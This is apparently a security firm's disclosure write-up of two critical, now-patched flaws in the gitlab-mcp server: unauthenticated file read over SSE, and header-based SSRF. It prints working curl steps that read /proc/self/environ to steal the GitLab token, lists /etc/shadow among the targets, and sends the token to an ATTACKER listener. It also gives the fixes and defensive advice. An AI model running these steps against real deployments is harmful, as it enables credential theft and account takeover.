How We Made a GitLab MCP Server Hand Us Its Own Access Token
What we found: Two Critical vulnerabilities in gitlab-mcp – the most popular community GitLab MCP server, with 200K+ downloads. Either one, on its own, hands an attacker the keys to your entire GitLab: two separate roads to the exact same catastrophe – full account takeover.
Finding #1 – unauthenticated arbitrary file read (GHSA-cv3r-c5h8-f4g5, Critical, CVSS 9.8 – AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). The SSE transport exposes every tool with zero authentication, and the upload_markdown tool reads arbitrary files. Chained, an unauthenticated attacker reads /proc/self/environ straight out of the process environment and steals the GitLab Personal Access Token. Fully unauthenticated – and the default Docker posture.
Finding #2 – header-based SSRF (GHSA-2h44-8472-frjj, Critical, CVSS 9.6 – AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N). With ENABLE_DYNAMIC_API_URL=true, the X-GitLab-API-URL header redirects the server’s credential-bearing API calls to any host – and the server helpfully attaches its token to the redirected request, shipping the credential to whatever host you point it at.
Why it matters: Both hand an attacker the GitLab token, granting the token owner’s access to every repository, CI/CD secret, and admin function. No credentials to guess, no user interaction, no prompt injection.
Who’s affected: @zereight/mcp-gitlab (a.k.a. gitlab-mcp) versions < 2.1.27. Finding #1 hits the default SSE=true Docker deployment; Finding #2 hits any HTTP-transport deployment with ENABLE_DYNAMIC_API_URL=true.
Severity: Both Critical. Finding #1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (CWE-22). Finding #2: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N (CWE-918). No CVE assigned yet for either.
Blast radius: 200K+ downloads. 1.8K+ GitHub stars. 321 forks. The most-used community GitLab MCP server (~#45 on the global MCP popularity leaderboard). Shipped on npm.
Fix: Upgrade to gitlab-mcp >= 2.1.27 – it patches both. If you can’t upgrade today, stop running SSE=true on a routable interface and disable ENABLE_DYNAMIC_API_URL.
Imagine This
A platform engineer connects an AI assistant to GitLab and deploys the MCP server the way the README shows – the project’s own docker-compose.yaml. It works on the first try. They move on.
What they don’t know: the container runs as root on 0.0.0.0:3002 with no authentication, and the GitLab token they configured – write access to every repo – sits in its environment in plaintext.
An attacker on the same network finds port 3002, opens a session (no password required), points one tool at /proc/self/environ, and seconds later holds glpat-… – cloning private repos, dumping CI/CD secrets, adding their own SSH key. Two ordinary mistakes that line up – and not even the only way in. Here’s how.
Setting the Stage: What Is gitlab-mcp?
If you’ve connected an AI coding assistant to GitLab in the last year, there’s a good chance you used this server. zereight/gitlab-mcp is the most popular community GitLab MCP (Model Context Protocol) server – the bridge that lets agents like Claude, Cursor, and Copilot manage GitLab projects, merge requests, issues, pipelines, wikis, and releases in natural language.
It exposes well over a hundred tools, carries 1.8K+ GitHub stars and 321 forks, ships on npm as @zereight/mcp-gitlab, and sits near the top of the MCP popularity leaderboards.
The server supports several transports: stdio for a local client on the same machine, and an SSE (Server-Sent Events) HTTP transport intended for “remote” deployments. The project ships a docker-compose.yaml that runs in SSE mode and maps 3002:3002. That detail – what the default deployment looks like – is where the trouble starts.
Finding #1 – Unauthenticated File Read → PAT Exfiltration
What makes this one critical isn’t a single exotic bug. It’s two mundane decisions – each arguably fine in isolation – that combine into an unauthenticated account takeover.
Flaw 1: The SSE transport has no authentication
When SSE=true (the intended mode for Docker deployments per the project’s own docker-compose.yaml), the /sse and /messages endpoints are wired up with no authentication middleware at all. Any HTTP client that can reach the port can establish a session and invoke all ~100+ tools using the server’s configured PAT.
// src/index.ts - no auth check on the SSE endpoint
app.get("/sse", async (_: Request, res: Response) => {
const serverInstance = createServer();
const transport = new SSEServerTransport("/messages", res);
await serverInstance.connect(transport);
});
There is no opt-in fix you can configure your way around, either: the project’s per-request auth feature (REMOTE_AUTHORIZATION=true) is explicitly incompatible with SSE mode. If you’re in SSE mode, there is no supported way to add authentication to the transport. The door isn’t poorly locked – there’s no lock fitted.
Flaw 2: upload_markdown reads arbitrary files
The upload_markdown tool takes a file_path, reads that file, and uploads it to a GitLab project. The path comes straight from user input with no validation, no allowlist, and no sandboxing – its Zod schema defines file_path as a bare z.string().
// src/index.ts - markdownUpload()
async function markdownUpload(projectId: string, filePath: string) {
if (!fs.existsSync(filePath)) {
throw new Error(`File not found: ${filePath}`);
}
const fileBuffer = fs.readFileSync(filePath); // arbitrary file read - no path validation
// ... uploads to GitLab via POST /projects/:id/uploads
}
This tool lives in the users toolset, which is enabled by default. On its own, “a tool reads a file path you give it” sounds like a feature, not a vulnerability – and in a properly authenticated, local-only context, it nearly is. Combined with Flaw 1, it becomes a remote, unauthenticated read primitive against the entire filesystem.
Docker amplification
The project’s Dockerfile has no USER directive, so the process runs as root. The docker-compose.yaml maps 3002:3002, which binds 0.0.0.0 by default. The most security-sensitive configuration – root, network-exposed, no auth – is also the one the project ships as its reference deployment.
Anatomy of the Attack (Finding #1)
Here is the full chain, exactly as an unauthenticated attacker on the network would run it. The only prerequisites are a reachable instance running with SSE=true and a PAT set (the default Docker config), and a GitLab project ID the PAT can write to (which the attacker can enumerate with list_projects).
Step 1: Open a session. No credentials required.
# Connect to the unauthenticated SSE endpoint and capture the session ID SESSION_ID=$(curl -s -N http://<HOST>:3002/sse | head -1 | grep -oP 'sessionId=\K[^&\s]+')
Step 2: (Optional) Enumerate a writable project
curl -X POST "http://<HOST>:3002/messages?sessionId=$SESSION_ID" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0", "id": 1, "method": "tools/call",
"params": { "name": "list_projects", "arguments": {"owned": true} }
}'
Step 3: Read /proc/self/environ and upload it to GitLab
curl -X POST "http://<HOST>:3002/messages?sessionId=$SESSION_ID" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0", "id": 2, "method": "tools/call",
"params": {
"name": "upload_markdown",
"arguments": {
"project_id": "<WRITABLE_PROJECT_ID>",
"file_path": "/proc/self/environ"
}
}
}'
# Response contains a GitLab upload URL:
# {"markdown": "", "url": "/uploads/abc123.../environ"}
Step 4: Retrieve the file and pull the token
curl "https://gitlab.example.com/<namespace>/<project>/uploads/abc123.../environ" # The file contains NUL-separated environment variables, including: # GITLAB_PERSONAL_ACCESS_TOKEN=glpat-xxxxxxxxxxxxxxxxxxxx
Step 5: Use the stolen PAT for full GitLab access
curl -H "Private-Token: glpat-xxxxxxxxxxxxxxxxxxxx" \ "https://gitlab.example.com/api/v4/user"
The elegant, ugly detail: the exfiltration travels through GitLab itself. The stolen environment is uploaded to a legitimate GitLab project as an attachment, then read back over HTTPS from a gitlab.example.com URL. To anyone watching network egress, it looks like ordinary traffic to the company’s own GitLab.
It doesn’t stop at the token
Because the process runs as root in the container, /proc/self/environ is only the most convenient target. The same primitive reads anything on the filesystem:
| File | What it hands the attacker |
|---|---|
/proc/self/environ |
All env vars, including GITLAB_PERSONAL_ACCESS_TOKEN=glpat-… |
/proc/self/cmdline |
Command-line args (token if passed via CLI) |
/etc/shadow |
System password hashes (readable as root) |
/app/build/index.js |
The full application source code |
~/.gitlab-mcp-token.json |
OAuth tokens, if OAuth mode was ever used |
Under the Hood: The Kill Chain
The whole sequence is short because nothing slows it down. There is no authentication gate to pass, no consent prompt to clear, no path check to defeat:
- Reach – attacker reaches port 3002 on a network-exposed instance.
- Session –
GET /ssereturns a session ID. No auth. - Read –
upload_markdownwithfile_path: /proc/self/environreads the file as root. - Stage – the file is uploaded to a GitLab project the PAT can write to.
- Exfiltrate – the attacker downloads it from the GitLab upload URL over HTTPS.
- Takeover – the recovered
glpat-…grants full API access as the token owner.
Every step uses documented, intended functionality. That’s what makes it dangerous: there is no malformed payload for a WAF to catch, no suspicious binary, no obviously hostile string. It’s the server doing exactly what it was built to do, for someone who was never supposed to be able to ask.
Finding #2 – SSRF via X-GitLab-API-URL → Credential Theft
The first finding steals the token by reading it off disk. The second is more elegant, and in some ways more unsettling: it never reads the token at all. It convinces the server to mail it out itself.
The server has a feature for people running self-hosted GitLab. When ENABLE_DYNAMIC_API_URL=true, it reads an X-GitLab-API-URL request header and uses that value as the base URL for every outbound GitLab API call in that request. The idea is reasonable: a multi-tenant deployment can point each request at the caller’s own GitLab instance. The implementation is where it goes wrong.
The flaw: a syntax check is not a safety check
The header value is validated only as a well-formed URL. There is no allowlist – any reachable host is accepted. The bug lives at two sinks, in the SSE handler and in the Streamable HTTP handler’s parseAuthHeaders:
// index.ts - Streamable HTTP handler
const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim();
if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) {
new URL(dynamicApiUrl); // syntax-only check
apiUrl = normalizeGitLabApiUrl(dynamicApiUrl); // any reachable host accepted
}
That apiUrl then flows through getEffectiveApiUrl() into getFetchConfig(), which attaches Private-Token: <victim_token> to every outbound fetch. So the token doesn’t go to GitLab – it goes to whatever host the header named. The server is a confused deputy: it holds a valuable credential and will attach it to a request aimed anywhere.
A syntax check that passes everything dangerous: new URL("http://attacker.evil:9099/api/v4") is a perfectly valid URL. So is a link-local address, a cloud metadata endpoint, or an internal service. “Is this a URL?” and “should I send my credentials here?” are very different questions – and only the first one was being asked.
Anatomy of the attack
An attacker who can reach the HTTP transport sends any ordinary tool call, with one extra header pointing the API base at a listener they control:
# Attacker runs a listener that logs incoming headers (port 9099), then:
curl -X POST http://TARGET:3002/mcp \
-H "X-GitLab-API-URL: http://ATTACKER:9099/api/v4" \
-H "Authorization: Bearer ANY_VALID_TOKEN" \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","method":"tools/call",
"params":{"name":"list_issues","arguments":{"project_id":"1"}},"id":1}'
Moments later, the listener receives the server’s outbound call – with the victim’s token attached:
GET /api/v4/projects/1/issues HTTP/1.1 private-token: <VICTIM_GITLAB_TOKEN> Host: ATTACKER:9099
As the advisory puts it: the attacker never needed the token in advance – the MCP server delivered it. One request, and the credential walks out the door under its own power. From there it’s the same endgame as Finding #1: full GitLab API access at the victim’s permission level – read every repository, push code, rewrite pipelines, rotate CI/CD secrets.
What an attacker gets
The PAT is the keys to the kingdom. With it, the attacker has, as the token owner: full access to every repository the PAT can see (source code, history, secrets committed by mistake); CI/CD variables and secrets, which routinely include cloud credentials, registry tokens, and deploy keys; the ability to push code and tamper with pipelines, turning the takeover into a supply-chain foothold; and, if the token owner has admin rights, instance-wide administrative control. A single network-reachable MCP server becomes a pivot into an organization’s entire software delivery pipeline.
The Fix
Both findings are patched in v2.1.27, across two pull requests: PR #554 (“guard exposed SSE transport”) for Finding #1, and PR #553 (“restrict dynamic GitLab API hosts”) for Finding #2.
Finding #1 – guarding the SSE transport (PR #554)
Notably, this fix does not change upload_markdown at all – it doesn’t try to sanitize the file path. Instead it takes the more decisive route: it shuts the unauthenticated door the read primitive was reachable through, and shrinks the blast radius if anyone ever reaches it again. Three complementary changes do the work.
1. The SSE endpoints now enforce a bearer token. A new requireSseAuth middleware is attached to both /sse and /messages. If SSE_AUTH_TOKEN is set, every request must present a matching Authorization: Bearer … header or get a 401:
// index.ts - v2.1.27
const requireSseAuth = (req: Request, res: Response, next: NextFunction) => {
if (!sseAuthToken) return next();
const match = /^Bearer\s+(\S+)$/i.exec(req.headers.authorization || "");
if (match?.[1] === sseAuthToken) return next();
res.status(401).json({ error: "SSE authentication required" });
};
app.get("/sse", requireSseAuth, async (_, res) => { /* ... */ });
app.post("/messages", requireSseAuth, async (req, res) => { /* ... */ });
2. The server now fails closed. Configuration validation refuses to start if SSE is enabled on a non-loopback host without a token – you have to explicitly opt into the dangerous posture via a pointedly-named flag. The bug used to be the default; now the default is an error message:
// index.ts - validateConfiguration()
if (sse && !isLoopbackBindHost(bindHost) && !sseAuthToken && !allowUnauthenticatedRemoteSse) {
errors.push(
"SSE=true on a non-loopback HOST requires SSE_AUTH_TOKEN " +
"(or explicitly set SSE_DANGEROUSLY_ALLOW_UNAUTHENTICATED_REMOTE=true)"
);
}
3. The reference deployment stops being root-on-0.0.0.0. The two amplifiers from earlier are removed at the source. The Dockerfile gains a USER node directive so the process no longer runs as root, and docker-compose.yaml binds to loopback instead of every interface:
# Dockerfile + USER node # docker/docker-compose.yaml - 3002:3002 + 127.0.0.1:3002:3002
A regression test (test/sse-auth-guard.test.ts) now asserts both behaviors: that an unauthenticated SSE server on a non-loopback host refuses to boot, and that /sse and /messages return 401 without the bearer token. Together these close the exact chain in this writeup.
Finding #2 – restricting the dynamic API host (PR #553)
The SSRF fix goes to the sink itself. Instead of accepting any syntactically valid URL, the server now checks the X-GitLab-API-URL hostname against a configurable allowlist of trusted GitLab hosts and rejects anything else – applied at both the SSE and Streamable HTTP handlers. In shape, it’s the remediation the advisory recommended:
const ALLOWED_HOSTS = (process.env.GITLAB_ALLOWED_HOSTS ?? "")
.split(",").map(h => h.trim()).filter(Boolean);
const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim();
if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) {
const parsed = new URL(dynamicApiUrl);
if (!ALLOWED_HOSTS.includes(parsed.hostname)) {
throw new Error(`X-GitLab-API-URL hostname not in allowlist: ${parsed.hostname}`);
}
apiUrl = normalizeGitLabApiUrl(dynamicApiUrl);
}
This is the right move for an SSRF: the earlier hardening (a startup guard that blocked the HTTP transport from running with static tokens) never touched the header-parsing path, so the token-forwarding sink stayed reachable in the documented REMOTE_AUTHORIZATION=true mode. Validating the destination – an allowlist, not a syntax check – is what actually closes it.
Responsible Disclosure Timeline
| Date | Event |
|---|---|
| 2026-03-08 | Finding #1 filed as a private GitHub Security Advisory (GHSA-cv3r-c5h8-f4g5) by the Pluto Security Research team. |
| 2026-03-22 | We requested a status update on Finding #1. |
| 2026-06-07 | Finding #2 (the X-GitLab-API-URL SSRF) filed as a private advisory (GHSA-2h44-8472-frjj).Reported by the Pluto Security Research team.. |
| Mid-June 2026 | Maintainer acknowledged the reports and began work on fixes. |
| 2026-06-22 | gitlab-mcp v2.1.27 released, patching both: guarding the SSE transport (PR #554) and restricting dynamic API hosts (PR #553). |
| Late June 2026 | Finding #1 verified and its advisory published. |
| 2026-07-01 | Finding #2 advisory (GHSA-2h44-8472-frjj) published. |
One pattern is worth naming. Finding #1’s fix shipped roughly three and a half months after the initial report; Finding #2, reported in June, was folded into the same release. Throughout the Finding #1 window, the vulnerable code remained the default Docker deployment, with no public advisory to drive defenders to upgrade. As with so much of the MCP ecosystem, the gap that hurts isn’t how fast the maintainer ultimately patched – it’s how long defenders had no signal that they needed to.
What Should You Do?
If you run gitlab-mcp:
- Upgrade to v2.1.27 or later (
npm i @zereight/mcp-gitlab@latest, or pull the latest image and restart). This patches both findings. Do it first. - Rotate the PAT the server was configured with. If the instance was ever network-reachable in SSE mode, or ran with
ENABLE_DYNAMIC_API_URL=true, treat the token as compromised – revoke it and issue a new one with the narrowest scope that works. - Audit GitLab access logs for unexpected use of that token, review recent project uploads for exfiltrated files (e.g. an
environattachment), and check for outbound requests to hosts that aren’t your GitLab instance. - Take the port off the network. Bind to
127.0.0.1, or front it with an authenticating reverse proxy. Never expose3002on a routable interface. On v2.1.27+, setSSE_AUTH_TOKENfor any remote SSE deployment. - Constrain the dynamic API URL. If you don’t need
ENABLE_DYNAMIC_API_URL, leave it off. If you do (self-hosted GitLab), setGITLAB_ALLOWED_HOSTSto the exact hostnames you trust so theX-GitLab-API-URLheader can’t redirect your token elsewhere.
If you operate MCP servers generally:
- Authenticate every network transport, or don’t put it on the network. “Local dev helper” is a deployment decision, not a property of the code.
- Drop root. Run containers as an unprivileged user; the difference between reading
/appand reading/etc/shadowis oneUSERdirective. - Scope credentials tightly. The PAT an MCP server holds should be the least-privilege token that does the job – not a personal admin token.
- Validate destinations, not just syntax. Any feature that lets input influence an outbound URL needs an allowlist. “Is this a valid URL?” is not “should I send credentials here?”
- Monitor for anomalies – unexpected tool calls, file reads outside the working directory, uploads of sensitive paths, and outbound calls to unrecognized hosts.
Closing Thoughts
The most dangerous vulnerabilities are rarely the exotic ones. They’re the ones hiding in the path everyone uses without a second thought – here, “deploy the MCP server the way the README shows.”
A transport that forgot to ask who’s calling. A tool that reads whatever path you hand it. A container that runs as root because nobody added one line. A convenience header trusted just because it parsed as a URL.
Ordinary decisions, each defensible alone, that line up into two separate takeovers of an organization’s source-control plane. That a single server offered two independent roads to the same stolen token is the real signal: this isn’t one careless bug, it’s a threat model that was never drawn.
This is part of Pluto Security’s ongoing research into MCP server security. More findings are in coordinated disclosure.
This is exactly the kind of risk we tackle at Pluto — the first workspace security platform built for the AI era, letting every employee, from engineering to marketing, build with AI securely. Want to learn more? Get in touch.